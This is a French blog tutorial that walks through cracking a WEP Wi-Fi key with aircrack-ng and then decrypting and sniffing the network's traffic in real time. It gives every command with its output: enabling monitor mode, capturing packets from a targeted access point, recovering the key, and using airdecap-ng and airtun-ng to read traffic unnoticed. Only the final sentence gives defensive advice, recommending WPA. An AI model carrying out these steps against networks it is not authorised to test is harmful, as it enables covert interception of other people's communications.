Août 08 2009
Comment Cracker une clé WEP et décrypter le trafic en temps réel
Cracker une clé WEP est extrêmement facile et ne prend que quelques secondes. Vrai? Presque… et nous allons voir comment décrypter le trafic en temps réel sans mˆme nous connecter au point d’accès wifi.
Toutes les manipulations se feront sous le super-utilisateur root puisqu’il faut changer l’état des interfaces.
Installation de Aircrack-ng
Télécharger et installer aircrack-ng. Il est disponible dans la plupart des distributions Linux sous forme de paquet.
Sur Debian, exécuter
apt-get install aircrack-ng
Aircrack inclut tous les outils nécessaires pour capturer les paquets, cracker la clé WEP, et décrypter le trafic en transit.
Nous réalisons les tests avec une carte PCMCIA wifi de chez Linksys. Un simple ifconfig permet d’afficher la carte qui est donc bien détectée.
root@crack_WEP:~$ ifconfig
lo Interface doesn't support scanning.
wlan0 Link encap:Ethernet HWaddr 00:1a:70:6b:37:4e
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:22 errors:0 dropped:0 overruns:0 frame:0
TX packets:63 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:3742 (3.7 KB) TX bytes:10773 (10.7 KB)
Capture des paquets
Il faut tout d’abord passer l’interface en mode moniteur.
root@crack_WEP:~$ airmon-ng
Interface Chipset Driver
wlan0 Broadcom 43xx b43 - [phy0]
Airmon détecte bien l’interface wifi.
root@crack_WEP:~$ airmon-ng stop wlan0
Interface Chipset Driver
wlan0 Broadcom 43xx b43 - [phy0]
(monitor mode disabled)
root@crack_WEP:~$ airmon-ng start wlan0
Interface Chipset Driver
wlan0 Broadcom 43xx b43 - [phy0]
(monitor mode enabled on mon0)
En exécutant iwconfig, on constate que l’interface mon0 a été créée en plus de l’interface originale wlan0:
root@crack_WEP:~$ iwconfig
wlan0 IEEE 802.11bg ESSID:""
Mode:Managed Frequency:2.412 GHz Access Point: Not-Associated
Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
mon0 IEEE 802.11bg Mode:Monitor Frequency:2.412 GHz Tx-Power=27 dBm
Retry min limit:7 RTS thr:off Fragment thr=2352 B
Encryption key:off
Power Management:off
Link Quality:0 Signal level:0 Noise level:0
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0
Scannons les réseaux à proximité
root@crack_WEP:~$ airodump-ng mon0
CH 10 ][ Elapsed: 4 s ][ 2009-08-08 18:01
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:A0:C5:FF:84:72 197 4 0 0 1 11 WEP WEP private
BSSID STATION PWR Rate Lost Packets Probes
Nous avons un point wifi émettant sur le channel 1 avec encryption WEP et dont l’adresse mac est 00:A0:C5:FF:84:72.
La cible définie, il suffit de capturer les paquets transitant dans les airs.
root@crack_WEP:~$ airodump-ng --channel 1 --bssid 00:A0:C5:FF:84:72 --write temp wlan0
CH 1 ][ Elapsed: 31 mins ][ 2009-05-02 21:52
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:A0:C5:FF:84:72 205 10 6058 24496 0 1 54 WEP WEP private
BSSID STATION PWR Rate Lost Packets Probes
00:A0:C5:FF:84:72 00:18:4D:76:30:EB 188 54-54 0 24795
Les paquets seront capturés dans des fichiers .cap ayant pour suffixe temp.
Les techniques de cassage devenant de plus en plus efficaces, il ne faut plus que 40000 paquets pour avoir de bonnes chances de casser la clé avec les algorithmes les plus récents. La capture est plus ou moins longue selon la quantité de trafic passant sur le lien.
Cracker la clé WEP
Ne reste plus qu’à cracker la clé WEP:
root@crack_WEP:~$ aircrack-ng -z -b 00:A0:C5:FF:84:72 temp.cap-0*.cap
Aircrack-ng 1.0 rc1
[00:00:22] Tested 240228 keys (got 41742 IVs)
KB depth byte(vote)
0 0/ 1 B9(58880) A0(50688) 12(50176) F5(49920) 9E(48896) CD(48640)
1 0/ 1 19(54784) E8(52480) FA(52480) 4B(51456) 79(51456) DD(49664)
2 0/ 1 31(59648) EA(53504) 40(50688) 0A(50432) 88(50432) 0E(50176)
3 0/ 1 8C(60416) 05(49152) 56(49152) 23(48640) 52(48384) 03(48128)
4 0/ 1 B2(59136) AE(49664) 78(49152) FE(49152) 8B(48384) 9C(47616)
5 0/ 1 61(53504) E6(50688) FF(50176) 13(49664) 23(49408) C7(49408)
6 0/ 1 DD(56320) C4(51968) 90(50688) 0C(50176) CF(49920) CE(49152)
7 0/ 1 4E(53248) E6(51968) 7D(49152) 0B(48896) 90(48896) 06(48640)
8 0/ 1 FB(52224) C1(49664) E9(48128) 3D(47616) F0(47360) EB(47104)
9 0/ 1 0B(54784) BC(51712) 52(50432) 54(49920) F5(49920) CA(48896)
10 0/ 1 E6(50944) 1C(49920) 5F(49408) 1F(49152) 0A(48896) 83(48896)
11 2/ 1 FF(49664) 17(48384) 94(48128) 27(47872) 23(47616) B2(47616)
12 0/ 4 91(50452) A4(50360) 77(50156) 78(49540) FF(49476) 70(48788)
KEY FOUND! [ B9:19:31:8C:B2:61:DD:4E:FB:0B:AA:62:99 ]
Decrypted correctly: 100%
Eh oui, vous ne rêvez pas, la clé a été cassée en 22 secondes!
Décrypter le trafic
Il est possible d’écouter le trafic en le capturant dans des fichiers .cap comme ci-dessus puis en le décryptant dans un second fichier avant de le passer en argument à tcpdump par exemple:
root@crack_WEP:~$ airdecap-ng -w b919318cb261dd4efb0baa6299 temp-01.cap
Total number of packets read 22072
Total number of WEP data packets 6245
Total number of WPA data packets 0
Number of plaintext data packets 3
Number of decrypted WEP packets 6245
Number of corrupted WEP packets 0
Number of decrypted WPA packets 0
root@crack_WEP:~$ tcpdump -r temp-01-dec.cap -i wlan
Mais il est aussi possible de décrypter le trafic en temps réel et de le renvoyer vers une interface virtuelle at0 sur laquelle on peut écouter le plus normalement du monde avec tcpdump. La commande airtun-ng fournie avec le package Aircrack permet de réaliser cette tâche.
root@crack_WEP:~$ airtun-ng -a 00:A0:C5:FF:84:72 -w b919318cb261dd4efb0baa6299 mon0
created tap interface at0
WEP encryption specified. Sending and receiving frames through mon0.
FromDS bit set in all frames.
Depuis un autre shell:
crack_WEP:~$ tcpdump -i at0
Conclusion
Il est très facile de casser une clé WEP et d’écouter le trafic qui y passe sans même se connecter au point d’accès, et donc sans se faire remarquer. Veillez à n’utiliser que des clés WPA au minimum avec des passwords qui ne sont pas basés sur des mots du dictionnaire.